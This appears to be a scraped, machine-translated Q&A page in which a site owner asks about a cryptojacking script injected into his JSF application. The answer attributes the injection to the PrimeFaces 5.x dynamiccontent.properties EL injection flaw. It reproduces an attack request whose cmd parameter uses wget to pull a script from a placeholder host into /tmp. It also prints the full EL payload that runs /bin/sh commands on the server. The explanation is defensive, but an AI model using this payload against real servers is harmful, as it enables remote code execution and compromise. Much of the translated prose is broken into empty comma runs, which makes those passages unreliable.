JSF Cryptojacking Malware

Now I know that this is not a website to remove or remove malware. However, I believe this is a specific JSF question,

I noticed that my site is constantly being attacked by injecting a JavaScript file into a web page.

Malicious program downloads the script file from a random URL-addresses, which has the following pattern: https://johndi33.*****.***:7777/deepMiner.js.

When you redeploy the application, malware is removed, but after a few hours the attack resumes and the script is entered.

In some research related to this specific malware, I discovered hundreds or thousands of infected sites with the same malware, and I also noticed that all infected websites are JSF-based.

I wonder if there is any information about this or any incorrect JSF configurations that could easily lead to RCE.

PS - Environment:

  • Ubuntu 16.04

  • Wildfly 10.1

  • Java 8

+4
source share
1 answer

In JSF (Mojarra) there is no fault tolerance of remote code. See also the CVE summary , which lists only XSS errors in prehistoric versions prior to 1.2_08 .

Only PrimeFaces 5.x handler resources behind StreamedContent, /dynamiccontent.propertiesthere was a hole injection EL. This EL injection hole allowed an attacker to execute code on a server machine. See also the CVE summary for this particular vulnerability . Your background confirms that you are using PrimeFaces.

2016 PrimeFaces issue 1152, PrimeFaces 5.2.21/5.3.8/6.0, , .

, , . , . pfdrid cmd /dynamiccontent.properties:

GET/javax.faces.resource/dynamiccontent.properties.xhtml?pfdrt=sc&ln=primefaces&pfdrid=4ib88tY5cy3INAZZsdtHPFU0Qzf8xqfq7ScCVr132r36qawXCNDixKdRFB0XZvCTU9npUitDjk1QTkIeQJA4yEY72QT3qDGJpZjuqCDIWniQcr2vJZR%2B005iFZzJ%2Fi7VR9Mx5l5cedTgq9wS03rem26ubch9%2Bq4W6msPwJ1hk0KMefG9yZl3o5nYeA5gvnp9LQJb3r%2BM1yQ00zFBDzT4i9Nsx%2Fs5eaGsq9BFptosdH06iT1k7rn%2BrQtPjyIbOQzOmnMx%2F6THLsOCppRaIG7BW4VRbsIi1gJ8cRh6%2Bad71ukPWbDdM6S6O0Qcr%2FdkssHfL5%2F7y8Xy%2FcyDiiljeZj3dIibq3CSy6RBaZGzRXqjYAyV % 2FJ7n3ulIkSVKszrCy3VyWb1uCY0fKLrPd3EO% 2Flsw3k% 2Fb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WguA7RXsMGLrerXVD1wHo5Jf7wQmLOyKUH7nne9ezwzVdQnaqadFehgZ6a6f5d% 2FfxIRUZ1tKeLPST16CBlY0% 2BPsRQDJJwWrRXdpuwon4PzHQXLD% 2BAhQ% 2F8j9Mb0OTM8RdZLuRjXw7tcY4muQDwMRCb92ipMiorDO8jVwPPOAXc5waNbSGmRhzOW1% 2BLsQpV8OEMKVMDXq5dRoYKz6tlH0Zh4eZTHED3hK8z4cukSTXuxFpdC5NjiVsyhQU71J87Tvkzw1HxbjqhJK% 2BkoPySJCmpHOmrrsbNlp0kHtNHuhY & CMD = Wget %20http://XXX.XXX.XXX.XXX/CONTACT/test.py%20-O%20/tmp/test.py%20--no-check-certificate HTTP/1.1 "200 1" - "Mozilla/5.0 (Windows NT 6.1; rv: 52.0) Gecko/20100101 Firefox/52.0"

pfdrid EL-, bean, StreamedContent, #{bean.image}. - (8- ), , , EL-.

PrimeFaces 5.x StreamedContentHandler pfdrid, EL- ( ):

${session.setAttribute("arr","".getClass().forName("java.util.ArrayList").newInstance())}
${session.setAttribute("scriptfactory", session.getClass().getClassLoader().getParent()
    .newInstance(session.getAttribute("arr").toArray(session.getClass().getClassLoader().getParent().getURLs()))
    .loadClass("javax.script.ScriptEngineManager").newInstance())}
${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}
${facesContext.getExternalContext().setResponseHeader("resp1", session.getAttribute("scriptengine"))}
${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}
${session.getAttribute("scriptengine").eval("
    var proc = new java.lang.ProcessBuilder[\\"(java.lang.String[])\\"]([\\"/bin/sh\\",\\"-c\\",\\"".concat(request.getParameter("cmd")).concat("\\"]).start();
    var is = proc.getInputStream();
    var sc = new java.util.Scanner(is,\\"UTF-8\\");
    var out = \\"\\";
    while (sc.hasNext()) {
        out += sc.nextLine()+String.fromCharCode(10);
    }
    print(out);
"))}
${facesContext.getExternalContext().getResponse().getWriter().flush()}
${facesContext.getExternalContext().getResponse().getWriter().close()}
${facesContext.getExternalContext().setResponseHeader("stillok", "yes")}

JavaScript, , /bin/sh , cmd, wget%20http://XXX.XXX.XXX.XXX/CONTACT/test.py%20-O%20/tmp/test.py%20--no-check-certificate, . , , , stillok=yes, /dynamiccontent.properties, , , , , script.

. :

+13

Source: https://habr.com/ru/post/1692342/


All Articles